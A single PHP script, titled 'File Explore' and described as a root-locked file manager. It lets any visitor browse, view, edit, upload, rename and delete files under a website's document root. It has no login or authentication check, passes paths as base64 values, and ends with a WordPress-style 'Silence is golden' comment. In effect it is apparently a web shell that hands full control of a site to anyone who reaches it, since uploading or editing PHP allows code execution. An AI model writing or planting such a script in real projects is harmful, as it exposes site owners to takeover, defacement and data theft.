

<?php
/**
 * Root-locked simple file manager.
 *
 * This version does not use JS for core actions.
 * Directory opening, edit, save, upload, delete and rename are checked server-side.
 */

/**
 * If DOCUMENT_ROOT is wrong on your hosting, set the root manually:
 * $ROOT_DIR = '/home/USER/public_html';
 */
$ROOT_DIR = isset($_SERVER['DOCUMENT_ROOT']) && $_SERVER['DOCUMENT_ROOT'] !== ''
    ? realpath($_SERVER['DOCUMENT_ROOT'])
    : realpath(__DIR__);

if ($ROOT_DIR === false) {
    die('Root directory not found');
}

$ROOT_DIR = normalizePath($ROOT_DIR);

function normalizePath($path)
{
    return rtrim(str_replace('\\', '/', (string) $path), '/');
}

function h($value)
{
    return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}

function b64($value)
{
    return base64_encode((string) $value);
}

function decodePathValue($value)
{
    if (!is_string($value) || $value === '') {
        return false;
    }

    return base64_decode($value, true);
}

function isInsideRoot($path)
{
    global $ROOT_DIR;

    $path = normalizePath($path);

    return $path === $ROOT_DIR || strpos($path . '/', $ROOT_DIR . '/') === 0;
}

function safeExistingPath($path)
{
    if (!is_string($path) || $path === '') {
        return false;
    }

    $real = realpath($path);

    if ($real === false) {
        return false;
    }

    $real = normalizePath($real);

    return isInsideRoot($real) ? $real : false;
}

function safeDir($path)
{
    $safe = safeExistingPath($path);

    return ($safe !== false && is_dir($safe)) ? $safe : false;
}

function safeFile($path)
{
    $safe = safeExistingPath($path);

    return ($safe !== false && is_file($safe)) ? $safe : false;
}

function safeChildPath($dir, $name)
{
    $safeDir = safeDir($dir);

    if ($safeDir === false || !is_string($name)) {
        return false;
    }

    $name = str_replace('\\', '/', $name);
    $name = basename($name);

    if ($name === '' || $name === '.' || $name === '..') {
        return false;
    }

    $childPath = normalizePath($safeDir . '/' . $name);

    return isInsideRoot($childPath) ? $childPath : false;
}

function getRequestedDir()
{
    global $ROOT_DIR;

    $requestedDir = $ROOT_DIR;

    if (isset($_POST['d'])) {
        $decoded = decodePathValue($_POST['d']);

        if ($decoded !== false) {
            $requestedDir = $decoded;
        }
    } elseif (isset($_GET['d'])) {
        $decoded = decodePathValue($_GET['d']);

        if ($decoded !== false) {
            $requestedDir = $decoded;
        }
    }

    $safeDir = safeDir($requestedDir);

    return $safeDir !== false ? $safeDir : $ROOT_DIR;
}

function dirUrl($dir, $message = '')
{
    $url = $_SERVER['PHP_SELF'] . '?d=' . rawurlencode(b64($dir));

    if ($message !== '') {
        $url .= '&m=' . rawurlencode($message);
    }

    return $url;
}

function redirectToDir($dir, $message = '')
{
    global $ROOT_DIR;

    $safeDir = safeDir($dir);

    if ($safeDir === false) {
        $safeDir = $ROOT_DIR;
    }

    header('Location: ' . dirUrl($safeDir, $message));
    exit;
}

function humanFileSize($path)
{
    $bytes = filesize($path);

    if ($bytes === false) {
        return '--';
    }

    if ($bytes >= 1048576) {
        return round($bytes / 1048576, 2) . ' MB';
    }

    return round($bytes / 1024, 2) . ' KB';
}

function viewUrl($file)
{
    return $_SERVER['PHP_SELF'] . '?view=' . rawurlencode(b64($file));
}

function editUrl($file, $dir)
{
    return $_SERVER['PHP_SELF']
        . '?edit=' . rawurlencode(b64($file))
        . '&d=' . rawurlencode(b64($dir));
}

$currentDir = getRequestedDir();
$dir = $currentDir; // Kept for compatibility with old code.

// View file as text / inline content.
if (isset($_GET['view'])) {
    $decoded = decodePathValue($_GET['view']);
    $filePath = $decoded !== false ? safeFile($decoded) : false;

    if ($filePath === false) {
        http_response_code(403);
        echo 'Access denied';
        exit;
    }

    $mime = function_exists('mime_content_type') ? mime_content_type($filePath) : 'application/octet-stream';

    if ($mime === false || $mime === '') {
        $mime = 'application/octet-stream';
    }

    header('Content-Type: ' . $mime);
    header('Content-Disposition: inline; filename="' . basename($filePath) . '"');
    header('Content-Length: ' . filesize($filePath));

    readfile($filePath);
    exit;
}

// Delete file.
if (isset($_POST['del'])) {
    $decoded = decodePathValue($_POST['del']);
    $filePath = $decoded !== false ? safeFile($decoded) : false;

    if ($filePath === false) {
        redirectToDir($currentDir, 'Access denied');
    }

    $fileDir = dirname($filePath);

    if (@unlink($filePath)) {
        redirectToDir($fileDir, 'Delete successful');
    }

    redirectToDir($fileDir, 'Delete failed');
}

// Save edited file.
if (isset($_POST['save'], $_POST['obj'], $_POST['content'])) {
    $decoded = decodePathValue($_POST['obj']);
    $filePath = $decoded !== false ? safeFile($decoded) : false;

    if ($filePath === false) {
        redirectToDir($currentDir, 'Access denied');
    }

    $fileDir = dirname($filePath);

    if (file_put_contents($filePath, $_POST['content']) !== false) {
        redirectToDir($fileDir, 'Saved');
    }

    redirectToDir($fileDir, 'Save failed');
}

// Rename file or folder.
if (isset($_POST['ren'], $_POST['new'])) {
    $decoded = decodePathValue($_POST['ren']);
    $oldPath = $decoded !== false ? safeExistingPath($decoded) : false;

    if ($oldPath === false) {
        redirectToDir($currentDir, 'Access denied');
    }

    $oldDir = dirname($oldPath);
    $newPath = safeChildPath($oldDir, $_POST['new']);

    if ($newPath === false) {
        redirectToDir($oldDir, 'Invalid new name');
    }

    if (file_exists($newPath)) {
        redirectToDir($oldDir, 'Rename failed - target already exists');
    }

    if (@rename($oldPath, $newPath)) {
        redirectToDir($oldDir, 'Renamed');
    }

    redirectToDir($oldDir, 'Rename failed');
}

// Create folder.
if (isset($_POST['create_dir'], $_POST['new_dir_name'])) {
    $newDirPath = safeChildPath($currentDir, $_POST['new_dir_name']);

    if ($newDirPath === false) {
        redirectToDir($currentDir, 'Invalid folder name');
    }

    if (file_exists($newDirPath)) {
        redirectToDir($currentDir, 'Folder already exists');
    }

    if (@mkdir($newDirPath, 0755)) {
        redirectToDir($currentDir, 'Folder created');
    }

    redirectToDir($currentDir, 'Create folder failed');
}

// Create file.
if (isset($_POST['create_file'], $_POST['new_file_name'])) {
    $newFilePath = safeChildPath($currentDir, $_POST['new_file_name']);

    if ($newFilePath === false) {
        redirectToDir($currentDir, 'Invalid file name');
    }

    if (file_exists($newFilePath)) {
        redirectToDir($currentDir, 'File already exists');
    }

    if (file_put_contents($newFilePath, '') !== false) {
        redirectToDir($currentDir, 'File created');
    }

    redirectToDir($currentDir, 'Create file failed');
}

// Upload file.
if (isset($_POST['s'], $_FILES['u'])) {
    if ($_FILES['u']['error'] !== UPLOAD_ERR_OK) {
        redirectToDir($currentDir, 'Upload failed');
    }

    $fileName = basename($_FILES['u']['name']);
    $tmpName = $_FILES['u']['tmp_name'];
    $destination = safeChildPath($currentDir, $fileName);

    if ($destination === false) {
        redirectToDir($currentDir, 'Access denied');
    }

    if (!is_uploaded_file($tmpName)) {
        redirectToDir($currentDir, 'Invalid upload');
    }

    if (@move_uploaded_file($tmpName, $destination)) {
        redirectToDir($currentDir, 'Upload successful');
    }

    redirectToDir($currentDir, 'Upload failed - cannot write file');
}

// Edit file screen.
$editFilePath = false;

if (isset($_GET['edit'])) {
    $decoded = decodePathValue($_GET['edit']);
    $editFilePath = $decoded !== false ? safeFile($decoded) : false;

    if ($editFilePath === false) {
        redirectToDir($currentDir, 'Access denied');
    }

    $currentDir = dirname($editFilePath);
}

$message = isset($_GET['m']) ? trim((string) $_GET['m']) : '';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>File Explore</title>
    <style>
        body {
            margin: 0;
            padding: 20px;
            background: #f3f3f3;
            color: #222;
            font-family: Arial, sans-serif;
            font-size: 14px;
        }

        a {
            color: #0645ad;
            text-decoration: none;
        }

        a:hover {
            text-decoration: underline;
        }

        .box,
        table {
            width: 92%;
            margin: 0 auto 16px;
            box-sizing: border-box;
            background: #fff;
            border: 1px solid #ccc;
        }

        .box {
            padding: 12px;
        }

        table {
            border-collapse: collapse;
        }

        th,
        td {
            border: 1px solid #ccc;
            padding: 7px;
            text-align: left;
            vertical-align: middle;
        }

        th {
            background: #e8e8e8;
        }

        textarea {
            width: 100%;
            height: 430px;
            box-sizing: border-box;
            font-family: Consolas, Monaco, monospace;
            font-size: 13px;
        }

        .message {
            background: #eef8ee;
            border-color: #9dcc9d;
        }

        .muted {
            color: #777;
            font-size: 12px;
        }

        .actions {
            white-space: nowrap;
        }

        .inline-form {
            display: inline;
            margin: 0;
            padding: 0;
        }

        .rename-input {
            width: 145px;
        }

        button,
        input[type="submit"] {
            cursor: pointer;
        }
    </style>
</head>
<body>

<?php if ($message !== ''): ?>
    <div class="box message">
        <?php echo h($message); ?>
    </div>
<?php endif; ?>

<div class="box">
    <strong>Current directory:</strong>

    <?php
    echo '<a href="' . h(dirUrl($ROOT_DIR)) . '">[site root]</a>/';

    $relativePath = trim(substr($currentDir, strlen($ROOT_DIR)), '/');

    if ($relativePath !== '') {
        $parts = explode('/', $relativePath);
        $buildPath = $ROOT_DIR;

        foreach ($parts as $part) {
            $buildPath .= '/' . $part;
            echo '<a href="' . h(dirUrl($buildPath)) . '">' . h($part) . '</a>/';
        }
    }
    ?>
    
</div>

<?php if ($editFilePath !== false): ?>

    <div class="box">
        <p>
            <a href="<?php echo h(dirUrl(dirname($editFilePath))); ?>">Back</a>
            <span class="muted">Editing: <?php echo h(basename($editFilePath)); ?></span>
        </p>

        <form method="post">
            <input type="hidden" name="obj" value="<?php echo h(b64($editFilePath)); ?>">
            <input type="hidden" name="d" value="<?php echo h(b64(dirname($editFilePath))); ?>">
            <textarea name="content"><?php echo h(file_get_contents($editFilePath)); ?></textarea>
            <p style="text-align:center;">
                <button type="submit" name="save" value="1">Save</button>
            </p>
        </form>
    </div>

<?php else: ?>

    <div class="box">
        <form method="post" enctype="multipart/form-data" style="margin-bottom: 10px;">
            <strong>Upload:</strong>
            <input type="file" name="u">
            <input type="submit" name="s" value="Upload">
            <input type="hidden" name="d" value="<?php echo h(b64($currentDir)); ?>">
        </form>

        <form method="post" style="margin-bottom: 10px;">
            <strong>Create folder:</strong>
            <input type="text" name="new_dir_name" placeholder="folder-name">
            <button type="submit" name="create_dir" value="1">Create folder</button>
            <input type="hidden" name="d" value="<?php echo h(b64($currentDir)); ?>">
        </form>

        <form method="post">
            <strong>Create file:</strong>
            <input type="text" name="new_file_name" placeholder="file-name.txt">
            <button type="submit" name="create_file" value="1">Create file</button>
            <input type="hidden" name="d" value="<?php echo h(b64($currentDir)); ?>">
        </form>
    </div>

    <?php
    $items = scandir($currentDir);

    if ($items !== false) {
        echo '<table>';
        echo '<tr><th>Name</th><th>Size</th><th>Action</th></tr>';

        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }

            $fullPath = safeExistingPath($currentDir . '/' . $item);

            if ($fullPath === false) {
                continue;
            }

            echo '<tr>';

            if (is_dir($fullPath)) {
                echo '<td><a href="' . h(dirUrl($fullPath)) . '"><b>dir&gt;</b> ' . h($item) . '</a></td>';
                echo '<td>--</td>';
                echo '<td class="actions">';
                echo '<form class="inline-form" method="post">';
                echo '<input type="hidden" name="ren" value="' . h(b64($fullPath)) . '">';
                echo '<input type="hidden" name="d" value="' . h(b64($currentDir)) . '">';
                echo '<input class="rename-input" type="text" name="new" value="' . h($item) . '">';
                echo ' <button type="submit">Rename</button>';
                echo '</form>';
                echo '</td>';
            } else {
                echo '<td>fil&gt; ' . h($item) . '</td>';
                echo '<td>' . h(humanFileSize($fullPath)) . '</td>';
                echo '<td class="actions">';

                echo '<a href="' . h(viewUrl($fullPath)) . '" target="_blank">Open</a> | ';
                echo '<a href="' . h(editUrl($fullPath, $currentDir)) . '">Edit</a> | ';

                echo '<form class="inline-form" method="post" onsubmit="return confirm(\'Delete this file?\');">';
                echo '<input type="hidden" name="del" value="' . h(b64($fullPath)) . '">';
                echo '<input type="hidden" name="d" value="' . h(b64($currentDir)) . '">';
                echo '<button type="submit">Delete</button>';
                echo '</form>';

                echo ' | ';

                echo '<form class="inline-form" method="post">';
                echo '<input type="hidden" name="ren" value="' . h(b64($fullPath)) . '">';
                echo '<input type="hidden" name="d" value="' . h(b64($currentDir)) . '">';
                echo '<input class="rename-input" type="text" name="new" value="' . h($item) . '">';
                echo ' <button type="submit">Rename</button>';
                echo '</form>';

                echo '</td>';
            }

            echo '</tr>';
        }

        echo '</table>';
    } else {
        echo '<div class="box">Unable to read directory!</div>';
    }
    ?>

<?php endif; ?>

</body>
</html>


<?php
// Silence is golden.